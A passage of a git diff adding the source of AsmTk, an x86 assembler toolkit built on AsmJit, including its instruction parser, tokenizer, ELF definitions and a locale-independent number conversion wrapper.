AsmToken::kSym) { + len = token->len; + if (len <= ASMJIT_ARRAY_SIZE(lower)) { + strToLower(lower, token->data, len); + uint32_t option = x86ParseOption(lower, len); + if (option == X86Inst::kOptionShortForm) { + options |= option; + return kErrorOk; + } + } + } + + parser._tokenizer.back(token); + return kErrorOk; + } + } +} + +static Error x86FixupInstruction(AsmParser& parser, Inst::Detail& detail, Operand_* opArray, uint32_t& opCount) { + uint32_t i; + + uint32_t& instId = detail.instId; + uint32_t& options = detail.options; + + if (instId >= kX86AliasStart) { + X86Emitter* emitter = static_cast(parser._emitter); + uint32_t memSize = 0; + bool isStr = false; + + switch (instId) { + case kX86AliasMovabs: + // 'movabs' is basically the longest 'mov'. + instId = X86Inst::kIdMov; + options |= X86Inst::kOptionLongForm; + break; + + case kX86AliasInsb: memSize = 1; instId = X86Inst::kIdIns; isStr = true; break; + case kX86AliasInsd: memSize = 4; instId = X86Inst::kIdIns; isStr = true; break; + case kX86AliasInsw: memSize = 2; instId = X86Inst::kIdIns; isStr = true; break; + + case kX86AliasOutsb: memSize = 1; instId = X86Inst::kIdOuts; isStr = true; break; + case kX86AliasOutsd: memSize = 4; instId = X86Inst::kIdOuts; isStr = true; break; + case kX86AliasOutsw: memSize = 2; instId = X86Inst::kIdOuts; isStr = true; break; + + case kX86AliasCmpsb: memSize = 1; instId = X86Inst::kIdCmps; isStr = true; break; + case kX86AliasCmpsd: memSize = 4; + isStr = opCount == 0 || (opCount == 2 && opArray[0].isMem() && opArray[1].isMem()); + instId = isStr ? X86Inst::kIdCmps : X86Inst::kIdCmpsd; + break; + case kX86AliasCmpsq: memSize = 8; instId = X86Inst::kIdCmps; isStr = true; break; + case kX86AliasCmpsw: memSize = 2; instId = X86Inst::kIdCmps; isStr = true; break; + + case kX86AliasMovsb: memSize = 1; instId = X86Inst::kIdMovs; isStr = true; break; + case kX86AliasMovsd: memSize = 4; + isStr = opCount == 0 || (opCount == 2 && opArray[0].isMem() && opArray[1].isMem()); + instId = isStr ? X86Inst::kIdMovs : X86Inst::kIdMovsd; + break; + case kX86AliasMovsq: memSize = 8; instId = X86Inst::kIdMovs; isStr = true; break; + case kX86AliasMovsw: memSize = 2; instId = X86Inst::kIdMovs; isStr = true; break; + + case kX86AliasLodsb: memSize = 1; instId = X86Inst::kIdLods; isStr = true; break; + case kX86AliasLodsd: memSize = 4; instId = X86Inst::kIdLods; isStr = true; break; + case kX86AliasLodsq: memSize = 8; instId = X86Inst::kIdLods; isStr = true; break; + case kX86AliasLodsw: memSize = 2; instId = X86Inst::kIdLods; isStr = true; break; + + case kX86AliasScasb: memSize = 1; instId = X86Inst::kIdScas; isStr = true; break; + case kX86AliasScasd: memSize = 4; instId = X86Inst::kIdScas; isStr = true; break; + case kX86AliasScasq: memSize = 8; instId = X86Inst::kIdScas; isStr = true; break; + case kX86AliasScasw: memSize = 2; instId = X86Inst::kIdScas; isStr = true; break; + + case kX86AliasStosb: memSize = 1; instId = X86Inst::kIdStos; isStr = true; break; + case kX86AliasStosd: memSize = 4; instId = X86Inst::kIdStos; isStr = true; break; + case kX86AliasStosq: memSize = 8; instId = X86Inst::kIdStos; isStr = true; break; + case kX86AliasStosw: memSize = 2; instId = X86Inst::kIdStos; isStr = true; break; + break; + } + + if (isStr) { + if (opCount == 0) { + uint32_t sign = memSize == 1 ? X86Reg::signatureOfT() : + memSize == 2 ? X86Reg::signatureOfT() : + memSize == 4 ? X86Reg::signatureOfT() : + X86Reg::signatureOfT() ; + + // String instructions aliases. + opCount = 2; + switch (instId) { + case X86Inst::kIdCmps: opArray[0] = emitter->ptr_zsi(); opArray[1] = emitter->ptr_zdi(); break; + case X86Inst::kIdMovs: opArray[0] = emitter->ptr_zdi(); opArray[1] = emitter->ptr_zsi(); break; + case X86Inst::kIdLods: + case X86Inst::kIdScas: opArray[0] = Reg::fromSignature(sign, X86Gp::kIdAx); opArray[1] = emitter->ptr_zdi(); break; + case X86Inst::kIdStos: opArray[0] = emitter->ptr_zdi(); opArray[1] = Reg::fromSignature(sign, X86Gp::kIdAx); break; + } + } + + for (i = 0; i < opCount; i++) { + if (opArray[i].isMem()) { + X86Mem& mem = opArray[i].as(); + + if (mem.getSize() == 0) + mem.setSize(memSize); + + if (mem.getBaseId() == X86Gp::kIdDi && mem.getSegmentId() == X86Seg::kIdEs) + mem.resetSegment(); + } + } + } + } + + for (i = 0; i < opCount; i++) { + Operand_& op = opArray[i]; + + // If the parsed memory segment is the default one, remove it. AsmJit + // always emits segment-override if the segment is specified, this is + // good on AsmJit side, but causes problems here as it's not necessary + // to emit 'ds:' everywhere if the input contains it (and it's common). + if (op.isMem() && op.as().hasSegment()) { + X86Mem& mem = op.as(); + + // Default to `ds` segment for most instructions. + uint32_t defaultSeg = X86Seg::kIdDs; + + // Default to `ss` segment if the operand has esp|rsp or ebp|rbp base. + if (mem.hasBaseReg()) { + if (mem.getBaseId() == X86Gp::kIdSp || mem.getBaseId() == X86Gp::kIdBp) + defaultSeg = X86Seg::kIdSs; + } + + if (mem.getSegmentId() == defaultSeg) + mem.resetSegment(); + } + } + + return kErrorOk; +} + +Error AsmParser::parse(const char* input, size_t len) { + if (len == Globals::kInvalidIndex) len = ::strlen(input); + if (len == 0) return kErrorOk; + + uint32_t archType = _emitter->getArchType(); + _tokenizer.setInput(reinterpret_cast(input), len); + + for (;;) { + AsmToken token; + uint32_t tType = _tokenizer.next(&token); + + if (tType == AsmToken::kSym) { + AsmToken tmp; + + tType = _tokenizer.next(&tmp); + if (tType == AsmToken::kColon) { + // Parse label. + Label dst; + ASMJIT_PROPAGATE(asmHandleSymbol(*this, dst, token.data, token.len)); + ASMJIT_PROPAGATE(_emitter->bind(dst)); + continue; + } + else { + // Parse instruction. + _tokenizer.back(&tmp); + + Inst::Detail detail; + ASMJIT_PROPAGATE(x86ParseInstruction(*this, detail.instId, detail.options, &token)); + + // Parse operands. + Operand_ opArray[6]; + uint32_t opCount = 0; + + for (;;) { + tType = _tokenizer.next(&token); + + // Instruction without operands... + if ((tType == AsmToken::kNL || tType == AsmToken::kEnd) && opCount == 0) + break; + + // Parse operand. + ASMJIT_PROPAGATE(x86ParseOperand(*this, opArray[opCount], &token)); + + // Parse {} options introduced by AVX-512. + tType = _tokenizer.next(&token); + if (tType == AsmToken::kLCurl) { + do { + tType = _tokenizer.next(&token); + if (tType == AsmToken::kSym || tType == AsmToken::kNSym) { + uint32_t& options = detail.options; + + // TODO: Only accepts lowercase, must be fixed. + if (token.len == 2 && token.data[0] == 'k' && (uint8_t)(token.data[1] - '0') < 8) { + RegOnly& extraReg = detail.extraReg; + if (opCount != 0 || !extraReg.isNone()) + return DebugUtils::errored(kErrorInvalidState); + extraReg.init(X86KReg(token.data[1] - '0')); + } + else if (token.is('z')) { + if (opCount != 0 || (options & X86Inst::kOptionZMask)) + return DebugUtils::errored(kErrorInvalidState); + options |= X86Inst::kOptionZMask; + } + else if (token.is('1', 't', 'o', 'x')) { + if (!opArray[opCount].isMem() || (options & X86Inst::kOption1ToX)) + return DebugUtils::errored(kErrorInvalidState); + options |= X86Inst::kOption1ToX; + } + else if (token.is('s', 'a', 'e')) { + if (opCount != 0 || (options & X86Inst::kOptionSAE)) + return DebugUtils::errored(kErrorInvalidState); + options |= X86Inst::kOptionSAE; + } + else if (token.is('r', 'n')) { + if (opCount != 0 || (options & X86Inst::kOptionER)) + return DebugUtils::errored(kErrorInvalidState); + options |= X86Inst::kOptionER | X86Inst::kOptionRN_SAE; + } + else if (token.is('r', 'd')) { + if (opCount != 0 || (options & X86Inst::kOptionER)) + return DebugUtils::errored(kErrorInvalidState); + options |= X86Inst::kOptionER | X86Inst::kOptionRD_SAE; + } + else if (token.is('r', 'u')) { + if (opCount != 0 || (options & X86Inst::kOptionER)) + return DebugUtils::errored(kErrorInvalidState); + options |= X86Inst::kOptionER | X86Inst::kOptionRU_SAE; + } + else if (token.is('r', 'z')) { + if (opCount != 0 || (options & X86Inst::kOptionER)) + return DebugUtils::errored(kErrorInvalidState); + options |= X86Inst::kOptionER | X86Inst::kOptionRZ_SAE; + } + } + else { + return DebugUtils::errored(kErrorInvalidState); + } + + tType = _tokenizer.next(&token); + if (tType != AsmToken::kRCurl) + return DebugUtils::errored(kErrorInvalidState); + + tType = _tokenizer.next(&token); + } while (tType == AsmToken::kLCurl); + } + + opCount++; + if (tType == AsmToken::kComma) { + if (opCount == ASMJIT_ARRAY_SIZE(opArray)) + return DebugUtils::errored(kErrorInvalidState); + continue; + } + + if (tType == AsmToken::kNL || tType == AsmToken::kEnd) + break; + + return DebugUtils::errored(kErrorInvalidState); + } + + ASMJIT_PROPAGATE(x86FixupInstruction(*this, detail, opArray, opCount)); + ASMJIT_PROPAGATE(Inst::validate(archType, detail, opArray, opCount)); + + _emitter->setOptions(detail.options); + _emitter->setExtraReg(detail.extraReg); + ASMJIT_PROPAGATE(_emitter->emitOpArray(detail.instId, opArray, opCount)); + } + } + + if (tType == AsmToken::kNL) + continue; + + if (tType == AsmToken::kEnd) + break; + + return DebugUtils::errored(kErrorInvalidState); + } + + return kErrorOk; +} + +} // asmtk namespace diff --git a/asmtk/src/asmtk/asmparser.h b/asmtk/src/asmtk/asmparser.h new file mode 100644 index 0000000..abba138 --- /dev/null +++ b/asmtk/src/asmtk/asmparser.h @@ -0,0 +1,64 @@ +// [AsmTk] +// Assembler toolkit based on AsmJit. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMTK_ASMPARSER_H +#define _ASMTK_ASMPARSER_H + +// [Dependencies] +#include "./strtod.h" +#include "./asmtokenizer.h" + +namespace asmtk { + +using asmjit::Error; + +// ============================================================================ +// [asmtk::AsmParser] +// ============================================================================ + +//! Asm parser. +class AsmParser { +public: + typedef Error (ASMJIT_CDECL* UnknownSymbolHandler)(AsmParser* parser, asmjit::Operand* out, const char* name, size_t len); + + AsmParser(asmjit::CodeEmitter* emitter); + ~AsmParser(); + + Error parse(const char* input, size_t len = asmjit::Globals::kInvalidIndex); + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE asmjit::CodeEmitter* getEmitter() const { return _emitter; } + + ASMJIT_INLINE bool hasUnknownSymbolHandler() const { return _unknownSymbolHandler != NULL; } + + ASMJIT_INLINE UnknownSymbolHandler getUnknownSymbolHandler() const { return _unknownSymbolHandler; } + ASMJIT_INLINE void* getUnknownSymbolHandlerData() const { return _unknownSymbolHandlerData; } + + ASMJIT_INLINE void setUnknownSymbolHandler(UnknownSymbolHandler handler, void* data = NULL) { + _unknownSymbolHandler = handler; + _unknownSymbolHandlerData = data; + } + ASMJIT_INLINE void resetUnknownSymbolHandler() { setUnknownSymbolHandler((UnknownSymbolHandler)NULL, NULL); } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + asmjit::CodeEmitter* _emitter; + AsmTokenizer _tokenizer; + + UnknownSymbolHandler _unknownSymbolHandler; + void* _unknownSymbolHandlerData; +}; + +} // asmtk namespace + +// [Guard] +#endif // _ASMTK_ASMPARSER_H diff --git a/asmtk/src/asmtk/asmtk.h b/asmtk/src/asmtk/asmtk.h new file mode 100644 index 0000000..9b94db6 --- /dev/null +++ b/asmtk/src/asmtk/asmtk.h @@ -0,0 +1,19 @@ +// [AsmTk] +// Assembler toolkit based on AsmJit. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMTK_ASMTK_H +#define _ASMTK_ASMTK_H + +// [Dependencies] +#include "./globals.h" + +#include "./asmparser.h" +#include "./asmtokenizer.h" +#include "./elfdefs.h" + +// [Guard] +#endif // _ASMTK_ASMTK_H diff --git a/asmtk/src/asmtk/asmtokenizer.cpp b/asmtk/src/asmtk/asmtokenizer.cpp new file mode 100644 index 0000000..eed8267 --- /dev/null +++ b/asmtk/src/asmtk/asmtokenizer.cpp @@ -0,0 +1,226 @@ +// [AsmTk] +// Assembler toolkit based on AsmJit. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Dependencies] +#include "./asmtokenizer.h" + +namespace asmtk { + +// ============================================================================ +// [asmtk::CharKind / CharMap] +// ============================================================================ + +enum CharKind { + // Digit [0-9]. + kChar0x0, kChar0x1, kChar0x2, kChar0x3, kChar0x4, kChar0x5, kChar0x6, kChar0x7, kChar0x8, kChar0x9, + // Hex [A-F]. + kChar0xA, kChar0xB, kChar0xC, kChar0xD, kChar0xE, kChar0xF, + // Non-Hex ASCII letter and special chars [A-Z$@_]. + kCharSym, + // Punctuation + kCharPcn, + // Space. + kCharSpc, + // Extended ASCII character (0x80 and above), acts as non-recognized. + kCharExt, + // Invalid (non-recognized) character. + kCharInv +}; + +#define C(id) kChar##id +static const uint8_t CharMap[] = { + C(Inv), C(Inv), C(Inv), C(Inv), C(Inv), C(Inv), C(Inv), C(Inv), // 000-007 ........ | All invalid. + C(Inv), C(Spc), C(Spc), C(Spc), C(Spc), C(Spc), C(Inv), C(Inv), // 008-015 . .. | Spaces 0x9-0xD. + C(Inv), C(Inv), C(Inv), C(Inv), C(Inv), C(Inv), C(Inv), C(Inv), // 016-023 ........ | All invalid. + C(Inv), C(Inv), C(Inv), C(Inv), C(Inv), C(Inv), C(Inv), C(Inv), // 024-031 ........ | All invalid. + C(Spc), C(Pcn), C(Pcn), C(Pcn), C(Pcn), C(Pcn), C(Pcn), C(Pcn), // 032-039 !"#$%&' | + C(Pcn), C(Pcn), C(Pcn), C(Pcn), C(Pcn), C(Pcn), C(Pcn), C(Pcn), // 040-047 ()*+,-./ | + C(0x0), C(0x1), C(0x2), C(0x3), C(0x4), C(0x5), C(0x6), C(0x7), // 048-055 01234567 | + C(0x8), C(0x9), C(Pcn), C(Pcn), C(Pcn), C(Pcn), C(Pcn), C(Pcn), // 056-063 89:;<=>? | + C(Sym), C(0xA), C(0xB), C(0xC), C(0xD), C(0xE), C(0xF), C(Sym), // 064-071 @ABCDEFG | + C(Sym), C(Sym), C(Sym), C(Sym), C(Sym), C(Sym), C(Sym), C(Sym), // 072-079 HIJKLMNO | + C(Sym), C(Sym), C(Sym), C(Sym), C(Sym), C(Sym), C(Sym), C(Sym), // 080-087 PQRSTUVW | + C(Sym), C(Sym), C(Sym), C(Pcn), C(Pcn), C(Pcn), C(Pcn), C(Sym), // 088-095 XYZ[\]^_ | + C(Pcn), C(0xA), C(0xB), C(0xC), C(0xD), C(0xE), C(0xF), C(Sym), // 096-103 `abcdefg | + C(Sym), C(Sym), C(Sym), C(Sym), C(Sym), C(Sym), C(Sym), C(Sym), // 104-111 hijklmno | + C(Sym), C(Sym), C(Sym), C(Sym), C(Sym), C(Sym), C(Sym), C(Sym), // 112-119 pqrstuvw | + C(Sym), C(Sym), C(Sym), C(Pcn), C(Pcn), C(Pcn), C(Pcn), C(Inv), // 120-127 xyz{|}~ | + C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), // 128-135 ........ | Extended. + C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), // 136-143 ........ | + C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), // 144-151 ........ | + C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), // 152-159 ........ | + C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), // 160-167 ........ | + C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), // 168-175 ........ | + C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), // 176-183 ........ | + C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), // 184-191 ........ | + C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), // 192-199 ........ | + C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), // 200-207 ........ | + C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), // 208-215 ........ | + C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), // 216-223 ........ | + C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), // 224-231 ........ | + C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), // 232-239 ........ | + C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), // 240-247 ........ | + C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext), C(Ext) // 248-255 ........ | +}; +#undef C + +static inline uint32_t lower(uint32_t c) { return c | 0x20; } + +// ============================================================================ +// [asmtk::Tokenizer] +// ============================================================================ + +AsmTokenizer::AsmTokenizer() + : _input(NULL), + _end(NULL), + _cur(NULL), + _stodctx() {} + +uint32_t AsmTokenizer::next(AsmToken* token) { + const uint8_t* cur = _cur; + const uint8_t* end = _end; + + // Skip spaces. + const uint8_t* start = cur; + if (cur == end) + return token->setData(AsmToken::kEnd, start, cur); + + uint32_t c = cur[0]; + uint32_t m = CharMap[c]; + + if (m == kCharSpc) { + do { + cur++; + if (c == '\n') goto NL; + if (cur == end) goto End; + + c = cur[0]; + m = CharMap[c]; + } while (m == kCharSpc); + } + start = cur; + + // Parse a number. + if (m < kChar0xA) { + uint64_t val = m; + if (++cur == end) { + _cur = cur; + token->u64 = val; + return token->setData(AsmToken::kU64, start, cur); + } + + // Parse a binary or hexadecimal number. + c = cur[0]; + if (val == 0) { + uint32_t cl = lower(c); + if (cl == 'x' || cl == 'b') { + uint32_t base = 16; + uint32_t shift = 4; + uint32_t limit = 16; + + if (cl == 'b') { + base = 2; + shift = 1; + limit = 64; + } + + // There must be at least one digit. + if (++cur == end) goto Invalid; + + c = cur[0]; + m = CharMap[c]; + if (m >= base) goto Invalid; + + do { + val = (val << shift) | m; + if (++cur == end) break; + + c = cur[0]; + m = CharMap[c]; + } while (m < base); + + _cur = cur; + token->u64 = val; + return token->setData(AsmToken::kU64, start, cur); + } + } + + // TODO: Not finished. + // Parse a decimal number. + while ((c -= '0') < 10) { + val = val * 10 + c; + if (++cur == end) break; + c = cur[0]; + } + + // Support symbols that start with a number, like '0tox' inside {}. + if (cur != end) { + m = CharMap[cur[0]]; + if (m <= kCharSym) { + do { + if (++cur == end) break; + c = cur[0]; + m = CharMap[c]; + } while (m <= kCharSym); + + _cur = cur; + return token->setData(AsmToken::kNSym, start, cur); + } + } + + // Definitely a number. + _cur = cur; + token->u64 = val; + return token->setData(AsmToken::kU64, start, cur); + } + + // Parse a symbol. + if (m <= kCharSym) { + do { + if (++cur == end) break; + c = cur[0]; + m = CharMap[c]; + } while (m <= kCharSym); + + _cur = cur; + return token->setData(AsmToken::kSym, start, cur); + } + + // Parse punctuation. + if (m == kCharPcn) { + uint32_t type = AsmToken::kOther; + switch (c) { + case '{': type = AsmToken::kLCurl ; break; + case '}': type = AsmToken::kRCurl ; break; + case '[': type = AsmToken::kLBracket; break; + case ']': type = AsmToken::kRBracket; break; + case '(': type = AsmToken::kLParen ; break; + case ')': type = AsmToken::kRParen ; break; + case '+': type = AsmToken::kAdd ; break; + case '-': type = AsmToken::kSub ; break; + case '*': type = AsmToken::kMul ; break; + case '/': type = AsmToken::kDiv ; break; + case ',': type = AsmToken::kComma ; break; + case ':': type = AsmToken::kColon ; break; + } + _cur = ++cur; + return token->setData(type, start, cur); + } + +Invalid: + _cur = cur; + return token->setData(AsmToken::kInvalid, start, cur); + +NL: + _cur = cur; + return token->setData(AsmToken::kNL, start, cur); + +End: + _cur = cur; + return token->setData(AsmToken::kEnd, start, cur); +} + +} // asmtk namespace diff --git a/asmtk/src/asmtk/asmtokenizer.h b/asmtk/src/asmtk/asmtokenizer.h new file mode 100644 index 0000000..468e85d --- /dev/null +++ b/asmtk/src/asmtk/asmtokenizer.h @@ -0,0 +1,102 @@ +// [AsmTk] +// Assembler toolkit based on AsmJit. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMTK_ASMTOKENIZER_H +#define _ASMTK_ASMTOKENIZER_H + +// [Dependencies] +#include "./globals.h" +#include "./strtod.h" + +namespace asmtk { + +struct AsmToken { + enum Type { + kEnd, + kNL, + kSym, + kNSym, + kU64, + kF64, + kLCurl, + kRCurl, + kLBracket, + kRBracket, + kLParen, + kRParen, + kAdd, + kSub, + kMul, + kDiv, + kComma, + kColon, + kOther, + kInvalid + }; + + inline bool is(char c0) { + return len == 1 && data[0] == c0; + } + inline bool is(char c0, char c1) { + return len == 2 && data[0] == c0 && data[1] == c1; + } + inline bool is(char c0, char c1, char c2) { + return len == 3 && data[0] == c0 && data[1] == c1 && data[2] == c2; + } + inline bool is(char c0, char c1, char c2, char c3) { + return len == 4 && data[0] == c0 && data[1] == c1 && data[2] == c2 && data[3] == c3; + } + inline bool is(char c0, char c1, char c2, char c3, char c4) { + return len == 5 && data[0] == c0 && data[1] == c1 && data[2] == c2 && data[3] == c3 && data[4] == c4; + } + + inline uint32_t setData(uint32_t type, const uint8_t* data, size_t len) { + //printf("TOKEN: %.*s\n", (int)len, data); + this->data = data; + this->len = len; + this->type = type; + return type; + } + + inline uint32_t setData(uint32_t type, const uint8_t* data, const uint8_t* end) { + return setData(type, data, (size_t)(end - data)); + } + + uint32_t type; + const uint8_t* data; + size_t len; + + union { + double f64; + int64_t i64; + uint64_t u64; + }; +}; + +class AsmTokenizer { +public: + AsmTokenizer(); + uint32_t next(AsmToken* token); + inline void back(AsmToken* token) { _cur = token->data; } + + inline void setInput(const uint8_t* input, size_t len) { + _input = input; + _end = input + len; + _cur = input; + } + + const uint8_t* _input; + const uint8_t* _end; + const uint8_t* _cur; + + StrToD _stodctx; +}; + +} // asmtk namespace + +// [Guard] +#endif // _ASMTK_ASMTOKENIZER_H diff --git a/asmtk/src/asmtk/elfdefs.h b/asmtk/src/asmtk/elfdefs.h new file mode 100644 index 0000000..9ab336f --- /dev/null +++ b/asmtk/src/asmtk/elfdefs.h @@ -0,0 +1,178 @@ +// [AsmTk] +// Assembler toolkit based on AsmJit. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMTK_ELFDEFS_H +#define _ASMTK_ELFDEFS_H + +// [Dependencies] +#include "./globals.h" + +namespace asmtk { + +enum ElfFileType { + kElfFileType_NONE = 0, + kElfFileType_REL = 1, + kElfFileType_EXEC = 2, + kElfFileType_DYN = 3, + kElfFileType_CORE = 4, + kElfFileType_LOPROC = 0xFF00, + kElfFileType_HIPROC = 0xFFFF +}; + +enum ElfFileVersion { + kElfFileVersion_NONE = 0, + kElfFileVersion_CURRENT = 1 +}; + +enum ElfFileClass { + kElfFileClass_NONE = 0, + kElfFileClass_32 = 1, + kElfFileClass_64 = 2 +}; + +enum ElfFileEncoding { + ElfFileEncoding_NONE = 0, + ElfFileEncoding_LE = 1, + ElfFileEncoding_BE = 2 +}; + +enum ElfMachineType { + kElfMachineType_NONE = 0, + kElfMachineType_X86 = 3, + kElfMachineType_ARM = 40, + kElfMachineType_X86_64 = 62 +}; + +enum ElfOSABI { + kElfOSABI_NONE = 0, //!< UNIX System V ABI. + kElfOSABI_HPUX = 1, + kElfOSABI_NETBSD = 2, + kElfOSABI_GNU = 3, //!< GNU/Linux. + kElfOSABI_HURD = 4, + kElfOSABI_SOLARIS = 6, + kElfOSABI_AIX = 7, + kElfOSABI_IRIX = 8, + kElfOSABI_FREEBSD = 9, + kElfOSABI_TRU64 = 10, + kElfOSABI_MODESTO = 11, + kElfOSABI_OPENBSD = 12, + kElfOSABI_OPENVMS = 13, + kElfOSABI_NSK = 14, + kElfOSABI_AROS = 15, + kElfOSABI_FENIXOS = 16, + kElfOSABI_CLOUDABI = 17, + kElfOSABI_ARM = 97, + kElfOSABI_STANDALONE = 255 +}; + +struct ElfIdentData { + uint8_t magic[4]; + uint8_t classType; + uint8_t dataType; + uint8_t version; + uint8_t abi; + uint8_t abiVersion; + uint8_t reserved[7]; +}; + +template +struct ElfFileData { + ElfIdentData ident; + uint16_t type; + uint16_t machine; + uint32_t version; + ElfPtrT entry; + ElfPtrT phOffset; + ElfPtrT shOffset; + uint32_t flags; + uint16_t ehSize; + uint16_t phEntSize; + uint16_t phNum; + uint16_t shEndSize; + uint16_t shNum; + uint16_t shStrNdx; +}; + +typedef ElfFileData ElfFileData32; +typedef ElfFileData ElfFileData64; + +template +struct ElfProgramData {}; + +template<> +struct ElfProgramData { + uint32_t type; //!< Segment type. + uint32_t offset; //!< Segment offset. + uint32_t vaddr; //!< Virtual address. + uint32_t paddr; //!< Physical address. + uint32_t fileSize; //!< Size of file image (or zero). + uint32_t memSize; //!< Size of memory image (or zero). + uint32_t flags; //!< Segment flags. + uint32_t align; //!< Segment alignment. +}; + +template<> +struct ElfProgramData { + uint32_t type; //!< Segment type. + uint32_t flags; //!< Segment flags. + uint64_t offset; //!< Segment offset. + uint64_t vaddr; //!< Virtual address. + uint64_t paddr; //!< Physical address. + uint64_t fileSize; //!< Size of file image (or zero). + uint64_t memSize; //!< Size of memory image (or zero). + uint64_t align; //!< Segment alignment. +}; + +typedef ElfProgramData ElfProgramData32; +typedef ElfProgramData ElfProgramData64; + +template +struct ElfSectionData { + uint32_t name; //!< Section name (index). + uint32_t type; //!< Section type. + ElfPtrT flags; //!< Section flags. + ElfPtrT addr; //!< Section address. + ElfPtrT offset; //!< Section file-offset. + ElfPtrT size; //!< Section size. + uint32_t link; + uint32_t info; + ElfPtrT addrAlign; + ElfPtrT entSize; +}; +typedef ElfSectionData ElfSectionData32; +typedef ElfSectionData ElfSectionData64; + +template +struct ElfSymbolData {}; + +template<> +struct ElfSymbolData { + uint32_t name; //!< Symbol name (index). + uint32_t value; //!< Symbol address. + uint32_t size; //!< Symbol size. + uint8_t info; //!< Symbol information. + uint8_t reserved; //!< Reserved (zero). + uint16_t shndx; //!< Section index. +}; + +template<> +struct ElfSymbolData { + uint32_t name; //!< Symbol name (index). + uint8_t info; //!< Symbol information. + uint8_t other; //!< Reserved (zero). + uint16_t shndx; //!< Section index. + uint64_t value; //!< Symbol address. + uint64_t size; //!< Symbol size. +}; + +typedef ElfSymbolData ElfSymbolData32; +typedef ElfSymbolData ElfSymbolData64; + +} // asmtk namespace + +// [Guard] +#endif // _ASMTK_ELFDEFS_H diff --git a/asmtk/src/asmtk/globals.h b/asmtk/src/asmtk/globals.h new file mode 100644 index 0000000..f126552 --- /dev/null +++ b/asmtk/src/asmtk/globals.h @@ -0,0 +1,18 @@ +// [AsmTk] +// Assembler toolkit based on AsmJit. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMTK_GLOBALS_H +#define _ASMTK_GLOBALS_H + +// [Dependencies] +#include + +namespace asmtk { +} // asmtk namespace + +// [Guard] +#endif // _ASMTK_GLOBALS_H diff --git a/asmtk/src/asmtk/strtod.h b/asmtk/src/asmtk/strtod.h new file mode 100644 index 0000000..a208642 --- /dev/null +++ b/asmtk/src/asmtk/strtod.h @@ -0,0 +1,59 @@ +// [AsmTk] +// Assembler toolkit based on AsmJit. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMTK_STRTOD_H +#define _ASMTK_STRTOD_H + +// [Dependencies] +#include "./globals.h" + +#if ASMJIT_OS_WINDOWS +# define ASMTK_STRTOD_MSLOCALE +# include +# include +#else +# define ASMTK_STRTOD_XLOCALE +# include +# include +# include +#endif + +namespace asmtk { + +// ============================================================================ +// [asmtk::StrToD] +// ============================================================================ + +class StrToD { +public: +#if defined(ASMTK_STRTOD_MSLOCALE) + inline StrToD() { handle = _create_locale(LC_ALL, "C"); } + inline ~StrToD() { _free_locale(handle); } + + inline bool isOk() const { return handle != NULL; } + inline double conv(const char* s, char** end) const { return _strtod_l(s, end, handle); } + + _locale_t handle; +#elif defined(ASMTK_STRTOD_XLOCALE) + inline StrToD() { handle = newlocale(LC_ALL_MASK, "C", NULL); } + inline ~StrToD() { freelocale(handle); } + + inline bool isOk() const { return handle != NULL; } + inline double conv(const char* s, char** end) const { return strtod_l(s, end, handle); } + + locale_t handle; +#else + // Time bomb! + inline bool isOk() const { return true; } + inline double conv(const char* s, char** end) const { return strtod(s, end); } +#endif +}; + +} // asmtk namespace + +// [Guard] +#endif // _ASMTK_STRTOD_H diff --git a/asmtk/test/asmtk.h b/asmtk/test/asmtk.h new file mode 100644 index 0000000..4d067b6 --- /dev/null +++ b/asmtk/test/asmtk.h @@ -0,0 +1 @@ +#include "../src/asmtk/asmtk.h" diff --git a/asmtk/test/asmtk_test_cmd.cpp b/asmtk/test/asmtk_test_cmd.cpp new file mode 100644 index 0000000..c6a7afe --- /dev/null +++ b/asmtk/test/asmtk_test_cmd.cpp @@ -0,0 +1,208 @@ +#include +#include +#include "./asmtk.h" + +using namespace asmjit; +using namespace asmtk; + +class CmdLine { +public: + CmdLine(int argc, const char* const* argv) + : argc(argc), + argv(argv) {} + + bool hasKey(const char* key) const { + for (int i = 0; i < argc; i++) + if (::strcmp(argv[i], key) == 0) + return true; + return false; + } + + const char* getKey(const char* key) const { + size_t keyLen = ::strlen(key); + size_t argLen = 0; + + const char* arg = NULL; + for (int i = 0; i <= argc; i++) { + if (i == argc) + return NULL; + + arg = argv[i]; + argLen = ::strlen(arg); + if (argLen >= keyLen && ::memcmp(arg, key, keyLen) == 0) + break; + } + + if (argLen > keyLen && arg[keyLen] == '=') + return arg + keyLen + 1; + else + return arg + keyLen; + } + + int argc; + const char* const* argv; +}; + +static bool hexToU64(uint64_t& out, const char* 